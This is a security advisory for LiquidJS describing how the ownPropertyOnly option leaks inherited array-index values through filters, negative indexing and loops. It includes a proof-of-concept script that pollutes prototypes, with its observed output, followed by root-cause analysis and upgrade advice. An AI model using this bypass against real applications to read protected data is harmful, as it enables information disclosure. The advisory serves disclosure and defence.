GHSA-fwxr-j5w2-587m: Infoleak

Published Oct 7, 2026
·
Updated

Summary

LiquidJS’s ownPropertyOnly option is intended to prevent templates from reading inherited or prototype properties from scope data. With ownPropertyOnly: true, direct access such as:

liquid {{ a[0] }}

correctly blocks an inherited array index. However, the same inherited value is still disclosed through:

text .first .last negative indexing for-loop iteration first last join reverse slice compact

Impact

This is an information disclosure issue when an application relies on ownPropertyOnly: true to safely render templates over untrusted or prototype-polluted scope data.

Object prototype property reads are blocked as expected, but inherited Array.prototype index reads are not consistently blocked. An attacker who can influence prototype state or inherited array-index data may cause templates to disclose values that ownPropertyOnly is expected to hide.

Proof of concept

js const { Liquid } = require("liquidjs");

const engine = new Liquid({ ownPropertyOnly: true });

Array.prototype[0] = "ARRAYPROTOPOLLUTED"; Object.prototype.secret = "OBJECTPROTOPOLLUTED";

const a = []; a.length = 1;

const o = {};

for (const [src, scope] of [ ["{{ a[0] }}", { a }], ["{{ a[-1] }}", { a }], ["{{ o.secret }}", { o }], ["{{ a.first }}", { a }], ["{{ a.last }}", { a }], ["{{ a | first }}", { a }], ["{{ a | last }}", { a }], ["{{ a | join: ',' }}", { a }], ["{{ a | reverse | first }}", { a }], ["{{ a | slice: 0, 1 | join: ',' }}", { a }], ["{{ a | compact | join: ',' }}", { a }], ["{% for x in a %}[{{ x }}]{% endfor %}", { a }], ]) { console.log(src, "=>", JSON.stringify(engine.parseAndRenderSync(src, scope))); }

delete Array.prototype[0]; delete Object.prototype.secret;

Observed behavior

text {{ a[0] }} => "" {{ a[-1] }} => "ARRAYPROTOPOLLUTED" {{ o.secret }} => "" {{ a.first }} => "ARRAYPROTOPOLLUTED" {{ a.last }} => "ARRAYPROTOPOLLUTED" {{ a | first }} => "ARRAYPROTOPOLLUTED" {{ a | last }} => "ARRAYPROTOPOLLUTED" {{ a | join: ',' }} => "ARRAYPROTOPOLLUTED" {{ a | reverse | first }} => "ARRAYPROTOPOLLUTED" {{ a | slice: 0, 1 | join: ',' }} => "ARRAYPROTOPOLLUTED" {{ a | compact | join: ',' }} => "ARRAYPROTOPOLLUTED" {% for x in a %}[{{ x }}]{% endfor %} => "[ARRAYPROTOPOLLUTED]"

Expected behavior

When ownPropertyOnly: true is enabled, inherited array indices should be treated as absent, matching the behavior of:

liquid {{ a[0] }} {{ o.secret }}

Inherited or prototype-provided array-index values should not be exposed through array filters, array properties, negative indexing, or loop iteration.

Root cause

ownPropertyOnly appears to be enforced in readJSProperty(), but several array-element access paths use raw or native array operations instead.

Examples include:

text negative indexing using obj[obj.length + key] readFirst/readLast using obj[0] / obj[obj.length - 1] filters such as first, last, join, reverse, slice, and compact operating on arrays through native element reads for-loop iteration materializing inherited array indices

Because these paths do not consistently check whether an array index is an own property, inherited array indices can be read even when ownPropertyOnly is enabled.

Affected Software

1 affected componentFixes available
npm/liquidjs<=10.27.1
10.27.2

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/liquidjs to a version that resolves this vulnerability.

    Fixed in 10.27.2

Event History

Oct 7, 2026
Advisory Published
via GitHub·04:19 PM
Data Sourced
via GitHub·04:19 PM
DescriptionWeaknessAffected Software

Frequently Asked Questions

1

What must an attacker be able to influence for this to disclose data?

The attacker must be able to influence prototype state or inherited array-index data used by the template scope. The issue is relevant when templates are rendered over untrusted or prototype-polluted scope data.

2

Are direct inherited array-index reads blocked when ownPropertyOnly is enabled?

Yes. Direct access such as {{ a[0] }} blocks an inherited array index with ownPropertyOnly: true. The inconsistent behavior occurs through array-oriented operations rather than that direct access form.

3

Which template operations can still expose inherited array-index values?

The affected operations include .first, .last, negative indexing, for-loop iteration, first, last, join, reverse, slice, and compact. Object prototype property reads are blocked as expected; the gap concerns inherited Array.prototype index reads.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203